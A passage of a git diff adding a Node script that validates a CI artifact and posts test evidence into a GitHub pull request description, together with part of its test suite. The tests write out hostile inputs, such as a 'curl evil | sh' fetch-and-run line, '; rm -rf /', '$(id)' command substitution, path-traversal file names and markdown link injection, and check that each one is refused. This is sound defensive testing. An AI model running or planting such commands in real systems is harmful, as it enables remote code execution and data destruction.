`repos/${repo}/pulls/${manifest.pr}/commits?per_page=${COMMITS_PER_PAGE}&page=${page}`], + { cwd: work, stdoutFile: pageJson }, + ); + if (read.status !== 0) { + throw new Failed(`gh could not read the commits of pull request #${manifest.pr}\n${printable(read.stderr)}`); + } + } + let listed; + try { + listed = JSON.parse(fs.readFileSync(pageJson, 'utf8')); + } catch { + listed = null; + } + if (!Array.isArray(listed)) { + throw new Failed(`what GitHub returned for the commits of pull request #${manifest.pr} is not a list`); + } + shas.push(...listed.map(commit => commit?.sha).filter(sha => typeof sha === 'string')); + if (commitsFile !== undefined || listed.length < COMMITS_PER_PAGE) { + break; + } + } + return shas; + }; + const baseHoldsStart = () => { + const base = pull.base?.sha; + if (typeof base !== 'string' || !SHAPE.commit.test(base)) { + return false; + } + const compareJson = compareFile ?? path.join(work, 'compare.json'); + if (compareFile === undefined) { + const read = gh(['api', `repos/${repo}/compare/${startedOn}...${base}?per_page=1`], { + cwd: work, + stdoutFile: compareJson, + }); + if (read.status !== 0 && / \(HTTP 404\)$/m.test(read.stderr)) { + return 'unknown'; + } + if (read.status !== 0) { + throw new Failed( + `gh could not compare the commit the session started on with the base branch of pull request #${manifest.pr}\n${printable(read.stderr)}`, + ); + } + } + let status; + try { + status = JSON.parse(fs.readFileSync(compareJson, 'utf8'))?.status; + } catch { + status = null; + } + return status === 'ahead' || status === 'identical'; + }; + const notThisRun = why => { + say( + 'notice', + `Pull request #${manifest.pr} is not the pull request of run ${runId} (${why}), so nothing is published.`, + ); + return 'refused'; + }; + + const session = { repo, headBranch, startedOn, runCommit: manifest.commit }; + let pull = readPull(); + const mismatch = pullRequestMismatch(pull, session); + if (mismatch !== null) { + return notThisRun(mismatch); + } + const notHeld = commitNotHeld(readCommits(), session, baseHoldsStart); + if (notHeld !== null && !notHeld.unknown && pull.commits > MOST_COMMITS_GITHUB_LISTS) { + say( + 'notice', + `Pull request #${manifest.pr} has ${pull.commits} commits and GitHub lists only the first ${MOST_COMMITS_GITHUB_LISTS}, which do not hold ${notHeld.commit}, so run ${runId} cannot be checked against it and nothing is published.`, + ); + return 'refused'; + } + if (notHeld !== null) { + return notThisRun(`${notHeld.commit} ${notHeld.why}`); + } + let next = null; + for (let attempt = 0; attempt < 2 && next === null; attempt += 1) { + const body = bodyOf(pull); + const head = pull.head.sha; + const block = evidenceBlock(manifest, { repo, runId, actor, pullHead: head }, onDisk); + const edit = withEvidenceBlock(body, manifest.platform, block); + if (!edit.ok) { + throw new Failed( + `the description of pull request #${manifest.pr} ${edit.why}, so the evidence has no one place to go`, + ); + } + const held = + edit.old !== null && + inTables(edit.old) && + edit.old.includes(`\`${manifest.run}\``) && + edit.old.includes(`(${sessionRunUrl(repo, runId)})`); + const lacksTheNote = held && head !== manifest.commit && !edit.old.includes(NEWER_COMMITS); + if (held && !lacksTheNote) { + say('notice', `The description of pull request #${manifest.pr} already holds verify run ${manifest.run}.`); + return 'already there'; + } + const placed = lacksTheNote + ? { + body: withEvidenceBlock( + body, + manifest.platform, + withNewerCommitsNote(edit.old, evidenceMarkers(manifest.platform)), + ).body, + files: [], + } + : { body: edit.body, files }; + pull = readPull(); + const movedSince = pullRequestMismatch(pull, session); + if (movedSince !== null) { + return notThisRun(movedSince); + } + if (bodyOf(pull) === body && pull.head.sha === head) { + next = placed; + } + } + if (next === null) { + throw new Failed( + `pull request #${manifest.pr} changed twice while the evidence was being placed, so nothing was written`, + ); + } + + const bodyFile = path.join(work, 'body.md'); + fs.writeFileSync(bodyFile, next.body, { mode: 0o600 }); + const editBody = ['pr', 'edit', String(manifest.pr), '--repo', repo, '--body-file', bodyFile]; + const args = [...editBody, ...next.files.flatMap(file => ['--attach', `./${onDisk(file)}`])]; + if (dryRun) { + say('plain', `would run, in ${filesDir}:\ngh ${args.map(quoted).join(' ')}`); + return 'dry run'; + } + const edited = gh(args, { cwd: filesDir }); + if (edited.status !== 0) { + throw new Failed(`gh pr edit failed for pull request #${manifest.pr}\n${printable(edited.stderr)}`); + } + if (next.files.length === 0) { + say( + 'notice', + `Noted in the description of pull request #${manifest.pr} that it has newer commits than verify run ${manifest.run}.`, + ); + return 'noted'; + } + pull = readPull(); + const listed = withEvidenceBlock(bodyOf(pull), manifest.platform, ''); + const list = (listed.ok && listed.old) || ''; + const uploaded = list.includes(`\`${manifest.run}\``) ? (list.match(UPLOADED) ?? []) : []; + if (pullRequestMismatch(pull, session) !== null || uploaded.length !== files.length) { + say( + 'notice', + `Put verify run ${manifest.run} in the description of pull request #${manifest.pr} as a list of ${files.length} files. The pull request changed before they could be laid out. A rerun of this job uploads them again and lays them out.`, + ); + return 'listed'; + } + const laidOut = evidenceBlock(manifest, { repo, runId, actor, pullHead: pull.head.sha }, onDisk, uploaded); + fs.writeFileSync(bodyFile, withEvidenceBlock(bodyOf(pull), manifest.platform, laidOut).body, { mode: 0o600 }); + const arranged = gh(editBody, { cwd: filesDir }); + if (arranged.status !== 0) { + throw new Failed( + `gh pr edit failed to lay out the files in pull request #${manifest.pr}\n${printable(arranged.stderr)}`, + ); + } + say( + 'notice', + `Put verify run ${manifest.run} in the description of pull request #${manifest.pr}: ${files.length} files.`, + ); + return 'published'; +} + +const workflowCommand = (kind, text) => + `::${kind} title=verify-attach::${text.replaceAll('%', '%25').replaceAll('\r', '%0D').replaceAll('\n', '%0A')}`; + +async function main(argv, env, log = console.log) { + const say = (kind, text) => log(kind === 'plain' ? text : workflowCommand(kind, text)); + const [step, ...rest] = argv; + const flag = name => (rest.includes(name) ? rest[rest.indexOf(name) + 1] : undefined); + const namesNoFile = name => rest.includes(name) && flag(name) === undefined; + try { + if (step === 'fetch') { + const found = await fetchStep({ env, say, fetch, zipFile: flag('--zip') }); + if (env.GITHUB_OUTPUT) { + fs.appendFileSync(env.GITHUB_OUTPUT, `found=${found ? 'true' : 'false'}\n`); + } + return 0; + } + if (step === 'publish' && !namesNoFile('--compare')) { + publishStep({ + env, + say, + dryRun: rest.includes('--dry-run'), + pullFile: flag('--pull'), + commitsFile: flag('--commits'), + compareFile: flag('--compare'), + }); + return 0; + } + log( + 'usage: verify-attach.mjs fetch [--zip ] | publish [--dry-run] [--pull --commits [--compare ]]', + ); + return 2; + } catch (error) { + if (error instanceof Refused) { + say('error', `The evidence was refused: ${error.message}. Nothing is published.`); + } else if (error instanceof Failed) { + say('error', `${error.message}`); + } else { + say( + 'error', + `verify-attach stopped on an unexpected ${error instanceof Error ? error.name : 'error'}. Nothing more is published.`, + ); + } + return 1; + } +} + +export { + ARTIFACT, + LIMITS, + Refused, + downloadArtifact, + evidenceBlock, + evidenceMarkers, + fetchStep, + listZip, + main, + parseManifest, + publishStep, + pullRequestMismatch, + sessionRunMismatch, + validateBundle, + withEvidenceBlock, + workflowCommand, +}; + +if (process.argv[1] !== undefined && fs.realpathSync(process.argv[1]) === fileURLToPath(import.meta.url)) { + process.exit(await main(process.argv.slice(2), process.env)); +} diff --git a/scripts/verify-attach.test.mjs b/scripts/verify-attach.test.mjs new file mode 100644 index 00000000000..6f8262ba85b --- /dev/null +++ b/scripts/verify-attach.test.mjs @@ -0,0 +1,2212 @@ +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import zlib from 'node:zlib'; + +import { describe, it } from 'vitest'; + +import { + downloadArtifact, + evidenceBlock, + evidenceMarkers, + fetchStep, + LIMITS, + listZip, + main, + parseManifest, + publishStep, + pullRequestMismatch, + Refused, + sessionRunMismatch, + validateBundle, + withEvidenceBlock, + workflowCommand, +} from './verify-attach.mjs'; + +const sha256 = data => createHash('sha256').update(data).digest('hex'); +const COMMIT = '0f50b597b1c2d3e4f5a60718293a4b5c6d7e8f90'; +const REPO = 'clerk/clerk-ios'; +const PNG = Buffer.concat([ + Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), + Buffer.from('the rest of a screenshot'), +]); +const JPG = Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe0]), Buffer.from('the rest of a photo')]); +const MP4 = Buffer.concat([Buffer.from([0, 0, 0, 0x18]), Buffer.from('ftypmp42'), Buffer.alloc(4096, 'v')]); + +const manifestFor = (files, change = {}) => ({ + v: 2, + pr: 669, + run: 'r20261008-052713-253e', + platform: 'ios', + device: 'iPhone Air on xcode-27', + commit: COMMIT, + passed: 3, + flaky: 0, + total: 3, + files: files.map(([name, data]) => ({ name, bytes: data.length, sha256: sha256(data) })), + before: null, + ...change, +}); + +const MEDIA = [ + ['video.mp4', MP4], + ['profile.png', PNG], +]; +const GOOD = manifestFor(MEDIA); + +function zip(entries, { trailing = Buffer.alloc(0), count, disk = 0 } = {}) { + const locals = []; + const centrals = []; + let offset = 0; + for (const entry of entries) { + const method = entry.method ?? 8; + const packed = entry.packed ?? (method === 8 ? zlib.deflateRawSync(entry.data) : entry.data); + const fields = { + madeBy: (3 << 8) | 20, + flags: 0, + method, + crc: zlib.crc32(entry.data), + packedBytes: packed.length, + bytes: entry.data.length, + name: entry.name, + attributes: (entry.mode ?? 0o100644) * 65536, + offset, + ...entry.central, + }; + const localFields = { ...fields, ...entry.local }; + const header = (f, central) => { + const name = Buffer.from(f.name, 'latin1'); + const head = Buffer.alloc(central ? 46 : 30); + head.writeUInt32LE(central ? 0x02014b50 : 0x04034b50, 0); + let at = 4; + if (central) { + at = head.writeUInt16LE(f.madeBy, at); + } + at = head.writeUInt16LE(20, at); + at = head.writeUInt16LE(f.flags, at); + at = head.writeUInt16LE(f.method, at); + at = head.writeUInt32LE(0, at); + at = head.writeUInt32LE(f.crc, at); + at = head.writeUInt32LE(f.packedBytes, at); + at = head.writeUInt32LE(f.bytes, at); + at = head.writeUInt16LE(name.length, at); + at = head.writeUInt16LE(0, at); + if (central) { + at = head.writeUInt16LE(0, at); + at = head.writeUInt16LE(0, at); + at = head.writeUInt16LE(0, at); + at = head.writeUInt32LE(f.attributes >>> 0, at); + head.writeUInt32LE(f.offset, at); + } + return Buffer.concat([head, name]); + }; + const local = Buffer.concat([header(localFields, false), packed]); + locals.push(local); + centrals.push(header(fields, true)); + offset += local.length; + } + const directory = Buffer.concat(centrals); + const end = Buffer.alloc(22); + end.writeUInt32LE(0x06054b50, 0); + end.writeUInt16LE(disk, 4); + end.writeUInt16LE(count ?? entries.length, 8); + end.writeUInt16LE(count ?? entries.length, 10); + end.writeUInt32LE(directory.length, 12); + end.writeUInt32LE(offset, 16); + return Buffer.concat([...locals, directory, trailing, end]); +} + +const bundle = (manifest = GOOD, media = MEDIA, extra = []) => + zip([ + { name: 'manifest.json', data: Buffer.from(JSON.stringify(manifest)) }, + ...media.map(([name, data]) => ({ name, data })), + ...extra, + ]); +const refusal = attempt => { + try { + attempt(); + } catch (error) { + if (error instanceof Refused) { + return error.message; + } + throw error; + } + return null; +}; + +const BEFORE_COMMIT = '5e126375065188df5bec4e4e75d61db03834f395'; +const WAS_MP4 = Buffer.concat([MP4, Buffer.from('before')]); +const WAS_PNG = Buffer.concat([PNG, Buffer.from('before')]); +const WAS_MEDIA = [ + ['before-video.mp4', WAS_MP4], + ['before-profile.png', WAS_PNG], +]; +const beforeFor = (files, change = {}) => ({ + run: 'r20261008-051500-0a1b', + commit: BEFORE_COMMIT, + passed: 0, + flaky: 0, + total: 3, + files: files.map(([name, data]) => ({ name, bytes: data.length, sha256: sha256(data) })), + ...change, +}); +const WITH_BEFORE = manifestFor(MEDIA, { before: beforeFor(WAS_MEDIA) }); + +describe('the archive of a session', () => { + it('accepts a manifest with the files it names, deflated or stored, and returns their bytes', () => { + for (const method of [8, 0]) { + const accepted = validateBundle( + zip([ + { name: 'manifest.json', data: Buffer.from(JSON.stringify(GOOD)), method }, + { name: 'video.mp4', data: MP4, method }, + { name: 'profile.png', data: PNG, method }, + ]), + ); + assert.deepEqual(accepted.manifest, GOOD); + assert.deepEqual(accepted.files, [ + { name: 'video.mp4', data: MP4 }, + { name: 'profile.png', data: PNG }, + ]); + } + const jpg = manifestFor([['photo.jpg', JPG]]); + assert.deepEqual(validateBundle(bundle(jpg, [['photo.jpg', JPG]])).files, [{ name: 'photo.jpg', data: JPG }]); + }); + + it('reads sizes from the directory, as a zip written to a stream needs', () => { + const streamed = (name, data) => ({ + name, + data, + central: { flags: 8 }, + local: { flags: 8, crc: 0, packedBytes: 0, bytes: 0 }, + }); + const accepted = validateBundle( + zip([ + streamed('manifest.json', Buffer.from(JSON.stringify(GOOD))), + streamed('video.mp4', MP4), + streamed('profile.png', PNG), + ]), + ); + assert.deepEqual( + accepted.files.map(file => file.name), + ['video.mp4', 'profile.png'], + ); + }); + + const withEntry = entry => bundle(GOOD, MEDIA, [entry]); + const refusedArchives = [ + ['bytes that are not a zip', Buffer.from('not an archive'), /not a zip archive/], + ['an empty file', Buffer.alloc(0), /not a zip archive/], + [ + 'a path under a directory', + withEntry({ name: 'screenshots/profile.png', data: PNG }), + /entry 4 has a name that is not allowed/, + ], + [ + 'a path that climbs out', + withEntry({ name: '../../home/runner/.bashrc.png', data: PNG }), + /entry 4 has a name that is not allowed/, + ], + ['an absolute path', withEntry({ name: '/etc/cron.d/x.png', data: PNG }), /entry 4 has a name that is not allowed/], + ['a Windows path', withEntry({ name: '..\\x.png', data: PNG }), /entry 4 has a name that is not allowed/], + [ + 'a directory', + withEntry({ name: 'shots/', data: Buffer.alloc(0), method: 0 }), + /entry 4 has a name that is not allowed/, + ], + [ + 'a script', + withEntry({ name: 'run.sh', data: Buffer.from('#!/bin/sh\n') }), + /entry 4 has a name that is not allowed/, + ], + [ + 'a web page', + withEntry({ name: 'page.html', data: Buffer.from('')], + ['clip.mp4', Buffer.from('#!/bin/sh\ncurl evil | sh\n')], + ['photo.jpg', PNG], + ['shot.png', JPG], + ['tiny.mp4', Buffer.from('ftyp')], + ]) { + assert.match( + refusal(() => validateBundle(bundle(manifestFor([[name, data]]), [[name, data]]))), + /file 1 does not start with the bytes of its type/, + name, + ); + } + }); + + it('never repeats a name or a value from the archive in what it says', () => { + const hostile = 'x\n::error::pwned`$(id)`.png'; + const message = refusal(() => validateBundle(bundle(GOOD, MEDIA, [{ name: hostile, data: PNG }]))); + assert.equal(message.includes('pwned'), false); + assert.equal( + refusal(() => parseManifest(JSON.stringify({ ...GOOD, device: '::error::pwned' }))).includes('pwned'), + false, + ); + assert.equal( + refusal(() => + parseManifest(JSON.stringify({ ...GOOD, files: [{ ...GOOD.files[0], name: 'pwned/../x.png' }] })), + ).includes('pwned'), + false, + ); + }); + + it('refuses an archive over the size cap before it reads it', () => { + const cap = LIMITS.zipBytes; + LIMITS.zipBytes = 64; + try { + assert.match( + refusal(() => listZip(bundle())), + /the archive is over 64 bytes/, + ); + } finally { + LIMITS.zipBytes = cap; + } + }); + + it('lists entries without reading their bytes', () => { + assert.deepEqual( + listZip(bundle()).entries.map(entry => [entry.name, entry.bytes]), + [ + ['manifest.json', JSON.stringify(GOOD).length], + ['video.mp4', MP4.length], + ['profile.png', PNG.length], + ], + ); + }); +}); + +describe('the manifest', () => { + const parse = change => parseManifest(JSON.stringify({ ...GOOD, ...change })); + const file = change => parse({ files: [{ ...GOOD.files[1], ...change }] }); + + it('accepts the manifest the CLI writes', () => { + assert.deepEqual(parseManifest(JSON.stringify(GOOD)), GOOD); + }); + + const refused = [ + ['text that is not JSON', () => parseManifest('{')], + ['a list', () => parseManifest('[]')], + ['a key the schema does not have', () => parse({ note: 'free text for the description' })], + ['a missing key', () => parseManifest(JSON.stringify({ ...GOOD, device: undefined }))], + ['a run id of another shape', () => parse({ run: 'r20261008-052713-253e`; rm -rf /' })], + ['a run id with a newline after it', () => parse({ run: 'r20261008-052713-253e\n' })], + ['a PR number that is text', () => parse({ pr: '669' })], + ['a PR number that is not whole', () => parse({ pr: 6.5 })], + ['a PR number of zero', () => parse({ pr: 0 })], + ['a PR number past the cap', () => parse({ pr: LIMITS.pr + 1 })], + ['a third platform', () => parse({ platform: 'web' })], + ['a device with markdown in it', () => parse({ device: 'iPhone `Air` [x](http://evil)' })], + ['a device with a comment marker in it', () => parse({ device: 'x ' })], + ['a short commit', () => parse({ commit: 'abc1234' })], + ['a negative count', () => parse({ passed: -1 })], + ['no passing test', () => parse({ passed: 0, flaky: 0 })], + ['more passing tests than tests', () => parse({ passed: 4 })], + ['a count past the cap', () => parse({ total: LIMITS.tests + 1 })], + ['files that are not a list', () => parse({ files: 'video.mp4' })], + ['no file, which would put a line of claims in the description and nothing to look at', () => parse({ files: [] })], + [ + 'more files than the cap', + () => + parse({ files: Array.from({ length: LIMITS.files + 1 }, (_, i) => ({ ...GOOD.files[1], name: `s${i}.png` })) }), + ], + ['two videos', () => parse({ files: [GOOD.files[0], { ...GOOD.files[0], name: 'second.mp4' }] })], + ['two files with one name', () => parse({ files: [GOOD.files[1], { ...GOOD.files[1], name: 'PROFILE.png' }] })], + ['a name with a path separator', () => file({ name: '../profile.png' })], + ['a name with a backslash', () => file({ name: 'a\\profile.png' })], + ['a name that starts with a dot', () => file({ name: '.profile.png' })], + ['a name that starts with a dash', () => file({ name: '-profile.png' })], + ['a name with a space', () => file({ name: 'my profile.png' })], + ['a name with a bracket', () => file({ name: 'a](http://evil).png' })], + ['a name with a number sign, which gh reads as alt text', () => file({ name: 'a#b.png' })], + ['an extension outside png, jpg, mp4', () => file({ name: 'profile.gif' })], + ['an extension in capitals', () => file({ name: 'profile.PNG' })], + ['a name with no extension', () => file({ name: 'profile' })], + ['a name that is too long', () => file({ name: `${'a'.repeat(120)}.png` })], + ['an empty file', () => file({ bytes: 0 })], + ['an image over its cap', () => file({ bytes: LIMITS.imageBytes + 1 })], + ['a video over its cap', () => parse({ files: [{ ...GOOD.files[0], bytes: LIMITS.videoBytes + 1 }] })], + [ + 'files within their caps and over the total', + () => + parse({ + files: [ + { ...GOOD.files[0], bytes: LIMITS.videoBytes }, + ...Array.from({ length: 6 }, (_, i) => ({ + name: `s${i}.png`, + bytes: LIMITS.imageBytes, + sha256: sha256('x'), + })), + ], + }), + ], + ['a sha256 of another shape', () => file({ sha256: 'abc' })], + ['a file with a key the schema does not have', () => file({ path: '/etc/passwd' })], + ['a manifest over its size cap', () => parseManifest(JSON.stringify(GOOD).padEnd(LIMITS.manifestBytes + 1, ' '))], + ]; + for (const [what, attempt] of refused) { + it(`refuses ${what}`, () => { + assert.throws(attempt, Refused); + }); + } + + it('refuses a manifest of another version before it reads anything else of it, and names both versions', () => { + const { before: _, ...versionOne } = { ...GOOD, v: 1 }; + assert.equal( + refusal(() => parseManifest(JSON.stringify(versionOne))), + 'the manifest is version 1, and this script publishes only version 2', + ); + assert.equal( + refusal(() => parseManifest(JSON.stringify({ ...GOOD, v: 3, layout: 'a key of a later version' }))), + 'the manifest is version 3, and this script publishes only version 2', + ); + for (const v of ['2', 2.5, -1, 1000, null, '\n::error::pwned']) { + assert.equal( + refusal(() => parse({ v })), + 'the manifest is of no version this script knows, and this script publishes only version 2', + JSON.stringify(v), + ); + } + assert.equal( + refusal(() => parseManifest(JSON.stringify({ device: 'x' }))), + 'the manifest is of no version this script knows, and this script publishes only version 2', + ); + }); + + it('accepts a before run, which may have passed nothing, with one file of the same kind for each file of the run', () => { + assert.deepEqual(parseManifest(JSON.stringify(WITH_BEFORE)), WITH_BEFORE); + }); + + const before = change => parse({ before: { ...WITH_BEFORE.before, ...change } }); + const [wasVideo, wasShot] = WITH_BEFORE.before.files; + const refusedBefore = [ + [ + 'a manifest with no before key', + () => parseManifest(JSON.stringify({ ...GOOD, before: undefined })), + /the manifest must have exactly the keys/, + ], + ['a before that is text', () => parse({ before: 'r20261008-051500-0a1b' }), /before is not an object/], + [ + 'a before with a key the schema does not have', + () => before({ note: '' }), + /before must have exactly the keys run, commit, passed, flaky, total, files/, + ], + [ + 'a before run id with markdown in it', + () => before({ run: 'r20261008-051500-0a1b` [x](http://evil) `' }), + /the run of before is missing or malformed/, + ], + ['a before that is the run itself', () => before({ run: GOOD.run }), /before is the run itself/], + ['a short before commit', () => before({ commit: 'abc1234' }), /the commit of before is missing or malformed/], + [ + 'a negative before count', + () => before({ passed: -1 }), + /passed of before must be a whole number from 0 to 10000/, + ], + [ + 'a before count past the cap', + () => before({ total: LIMITS.tests + 1 }), + /total of before must be a whole number from 1 to 10000/, + ], + [ + 'more passing before tests than tests', + () => before({ passed: 3, flaky: 1 }), + /passed and flaky of before must count at most total/, + ], + ['a before with no files', () => before({ files: [] }), /the files of before must be a list of 1 to 50/], + [ + 'a before with fewer files than the run', + () => before({ files: [wasVideo] }), + /before must have one file for each file, of the same kind/, + ], + [ + 'a before screenshot where the run has a video', + () => before({ files: [wasShot, wasVideo] }), + /before must have one file for each file, of the same kind/, + ], + [ + 'a before file named as a file of the run is', + () => before({ files: [wasVideo, { ...wasShot, name: 'PROFILE.png' }] }), + /two files have the same name/, + ], + [ + 'a before file with a path in its name', + () => before({ files: [wasVideo, { ...wasShot, name: '../before-profile.png' }] }), + /the name of file 2 is missing or malformed/, + ], + [ + 'a before file of another type', + () => before({ files: [wasVideo, { ...wasShot, name: 'before-profile.svg' }] }), + /the name of file 2 is missing or malformed/, + ], + [ + 'a before image over its cap', + () => before({ files: [wasVideo, { ...wasShot, bytes: LIMITS.imageBytes + 1 }] }), + /the size of file 2 must be a whole number/, + ], + [ + 'a before file with a key the schema does not have', + () => before({ files: [wasVideo, { ...wasShot, path: '/etc/passwd' }] }), + /file 2 must have exactly the keys name, bytes, sha256/, + ], + ]; + for (const [what, attempt, why] of refusedBefore) { + it(`refuses ${what}`, () => { + assert.throws(attempt, error => error instanceof Refused && why.test(error.message)); + }); + } + + it('refuses a run id or a commit, of the run or of the before run, with any character of markup in any place', () => { + const MARKUP = ['|', '"', '<', '>', "'", '&', '`', '@', ':', ';', '$', '{', '}', '[', ']', '(', ')', '*', '_', '!']; + const OTHER = [' ', '\n', '\r', '\t', '\0', '\\', '/', '#', '.', 'é', 'G', 'R']; + const fields = [ + ['run', GOOD.run, run => parse({ run })], + ['commit', GOOD.commit, commit => parse({ commit })], + ['the run of before', WITH_BEFORE.before.run, run => before({ run })], + ['the commit of before', WITH_BEFORE.before.commit, commit => before({ commit })], + ]; + for (const [what, good, attempt] of fields) { + assert.equal( + refusal(() => attempt(good)), + null, + what, + ); + for (const char of [...MARKUP, ...OTHER]) { + const hostile = [ + ...Array.from(good, (_, at) => `${good.slice(0, at)}${char}${good.slice(at + 1)}`), + `${good}${char}`, + `${char}${good}`, + `${good}-->`, + ]; + for (const value of hostile) { + assert.equal( + refusal(() => attempt(value)), + `${what} is missing or malformed`, + JSON.stringify(value), + ); + } + } + } + }); + + it('counts the files of the before run toward the cap on files and the cap on bytes', () => { + const shots = (prefix, count, bytes = 1) => + Array.from({ length: count }, (_, i) => ({ name: `${prefix}${i}.png`, bytes, sha256: sha256('x') })); + const paired = (count, bytes) => + parse({ + files: shots('s', count, bytes), + before: { ...WITH_BEFORE.before, files: shots('before-s', count, bytes) }, + }); + assert.equal(paired(LIMITS.files / 2).before.files.length, LIMITS.files / 2); + assert.throws(() => paired(LIMITS.files / 2 + 1), /at most 50 files in all/); + assert.throws(() => paired(8, LIMITS.imageBytes), /the files are over 157286400 bytes in all/); + const video = name => ({ name, bytes: LIMITS.videoBytes, sha256: sha256('x') }); + assert.throws( + () => + parse({ files: [video('video.mp4')], before: { ...WITH_BEFORE.before, files: [video('before-video.mp4')] } }), + /the files are over 157286400 bytes in all/, + ); + }); +}); + +describe('which runs and which pull request', () => { + const session = { repo: REPO, headBranch: 'feature/change' }; + const pull = { + state: 'open', + head: { ref: 'feature/change', sha: COMMIT, repo: { full_name: REPO } }, + base: { repo: { full_name: REPO } }, + }; + + it('takes evidence only from a dispatched run of the session workflow of this repository', () => { + const run = { event: 'workflow_dispatch', path: '.github/workflows/verify-remote.yml', headRepo: REPO }; + assert.equal(sessionRunMismatch(run, REPO), null); + assert.equal(sessionRunMismatch({ ...run, event: 'pull_request' }, REPO), 'it was not started by a dispatch'); + assert.equal( + sessionRunMismatch({ ...run, event: 'pull_request_target' }, REPO), + 'it was not started by a dispatch', + ); + assert.equal( + sessionRunMismatch({ ...run, path: '.github/workflows/fork-made.yml' }, REPO), + 'it is not a run of .github/workflows/verify-remote.yml', + ); + assert.equal(sessionRunMismatch({ ...run, headRepo: 'someone/clerk-ios' }, REPO), 'it ran for another repository'); + }); + + it('publishes to the open pull request of the session branch, whatever its head commit is now', () => { + assert.equal(pullRequestMismatch(pull, session), null); + assert.equal(pullRequestMismatch({ ...pull, head: { ...pull.head, sha: 'b'.repeat(40) } }, session), null); + }); + + it('publishes to no other pull request, and says which rule refused it', () => { + assert.equal(pullRequestMismatch({ ...pull, state: 'closed' }, session), 'it is not open'); + assert.equal( + pullRequestMismatch({ ...pull, head: { ...pull.head, repo: { full_name: 'someone/clerk-ios' } } }, session), + 'its branch is in another repository', + ); + assert.equal( + pullRequestMismatch({ ...pull, head: { ...pull.head, repo: null } }, session), + 'its branch is in another repository', + ); + assert.equal( + pullRequestMismatch({ ...pull, base: { repo: { full_name: 'clerk/other' } } }, session), + 'its branch is in another repository', + ); + assert.equal( + pullRequestMismatch({ ...pull, head: { ...pull.head, ref: 'main' } }, session), + 'its branch is not the branch the session ran on', + ); + assert.equal(pullRequestMismatch(null, session), 'it is not open'); + assert.equal(pullRequestMismatch({ message: 'Not Found' }, session), 'it is not open'); + }); +}); + +const SESSION = { repo: REPO, runId: '37731397352', actor: 'octocat', pullHead: COMMIT }; +const blockOf = (manifest, onDisk) => evidenceBlock(manifest, SESSION, onDisk); +const localBlock = line => + [ + '', + '', + line, + '', + '| `profile` |', + '| :---: |', + '| profile |', + '', + '', + ].join('\n'); +const LOCAL_BLOCK = localBlock( + '**Verified on an iOS simulator.** Run `r20261007-010101-aaaa` on `iPhone 17 Pro` at `0f50b597b1c2`, 3 of 3 passed.', +); +const OLDER_BLOCK = localBlock( + 'verify run `r20261007-010101-aaaa` on `iPhone 17 Pro` at `0f50b597b1c2`, 3 of 3 passed.', +); + +describe('the evidence block of a pull request description', () => { + const block = blockOf(GOOD); + + it('is one line that leads with the result in bold, says in the same sentence that the session reported it, links its run and names who started it, then each file alone in its own paragraph, between the markers of its platform', () => { + assert.equal( + block, + [ + '', + '', + '**Verified on an iOS simulator**, as reported by [the session](https://github.com/clerk/clerk-ios/actions/runs/37731397352) that `octocat` started. Run `r20261008-052713-253e` on `iPhone Air on xcode-27` at `0f50b597b1c2`, 3 of 3 passed.', + '', + '![video.mp4](./video.mp4)', + '', + '![profile](./profile.png)', + '', + '', + ].join('\n'), + ); + assert.match( + blockOf(manifestFor(MEDIA, { passed: 1, flaky: 1, total: 2 })), + / started\. Run `r20261008-052713-253e` on `iPhone Air on xcode-27` at `0f50b597b1c2`, 1 of 2 passed, 1 flaky \(passed only on a retry\)\.$/m, + ); + assert.match( + blockOf(manifestFor(MEDIA, { platform: 'android' })), + /^\*\*Verified on an Android emulator\*\*, as reported by /m, + ); + }); + + it('says that the before run is what the session reports, links its commit so a reader can open it, and says how that run went, ahead of the note about newer commits', () => { + const line = block => block.split('\n')[2]; + assert.equal( + line(blockOf(WITH_BEFORE)), + '**Verified on an iOS simulator**, as reported by [the session](https://github.com/clerk/clerk-ios/actions/runs/37731397352) that `octocat` started. Run `r20261008-052713-253e` on `iPhone Air on xcode-27` at `0f50b597b1c2`, 3 of 3 passed. The session reports the before as run `r20261008-051500-0a1b` at [`5e1263750651`](https://github.com/clerk/clerk-ios/commit/5e126375065188df5bec4e4e75d61db03834f395), 0 of 3 passed.', + ); + assert.ok( + line(evidenceBlock(WITH_BEFORE, { ...SESSION, repo: 'clerk/clerk-android', pullHead: 'b'.repeat(40) })).endsWith( + ' The session reports the before as run `r20261008-051500-0a1b` at [`5e1263750651`](https://github.com/clerk/clerk-android/commit/5e126375065188df5bec4e4e75d61db03834f395), 0 of 3 passed. The pull request has newer commits.', + ), + ); + }); + + it('says that the pull request has newer commits when its head is not the commit of the run', () => { + const moved = evidenceBlock(GOOD, { ...SESSION, pullHead: 'b'.repeat(40) }); + assert.match(moved, / at `0f50b597b1c2`, 3 of 3 passed\. The pull request has newer commits\.$/m); + assert.equal(block.includes('newer commits'), false); + }); + + it('links the run and names the person GitHub names, whatever the manifest says', () => { + const elsewhere = evidenceBlock(GOOD, { + repo: 'clerk/clerk-android', + runId: '41', + actor: 'someone-else', + pullHead: COMMIT, + }); + assert.ok( + elsewhere.includes( + '](https://github.com/clerk/clerk-android/actions/runs/41) that `someone-else` started. Run `r20261008-052713-253e`', + ), + ); + assert.equal(/actions\/runs|octocat|someone-else/.test(JSON.stringify(GOOD)), false); + }); + + it('replaces the block that attach writes from a machine whose gh can attach, in the layout of this version or of the one before it', () => { + assert.equal(withEvidenceBlock(`intro\n\n${LOCAL_BLOCK}\n`, 'ios', block).body, `intro\n\n${block}\n`); + assert.equal(withEvidenceBlock(`intro\n\n${OLDER_BLOCK}\n`, 'ios', block).body, `intro\n\n${block}\n`); + }); + + it('goes after a description that has no block, and leaves that description as it was', () => { + for (const body of ['## Summary\r\n\r\nFixes the button. \r\n', 'no newline at the end', 'ends with one\n']) { + const edit = withEvidenceBlock(body, 'ios', block); + assert.ok(edit.ok && edit.was === 'added'); + assert.ok(edit.body.startsWith(body), JSON.stringify(body)); + assert.match(edit.body.slice(body.length), /^(\n{1,2}|(\r\n){1,2})/); + assert.ok(edit.body.replaceAll('\r\n', '\n').endsWith(block)); + } + assert.deepEqual(withEvidenceBlock('', 'ios', block), { ok: true, body: block, was: 'added', old: null }); + }); + + it('replaces the block that is there and keeps every byte before and after it', () => { + const before = '## Summary\r\n\r\nText above. \n\n'; + const after = 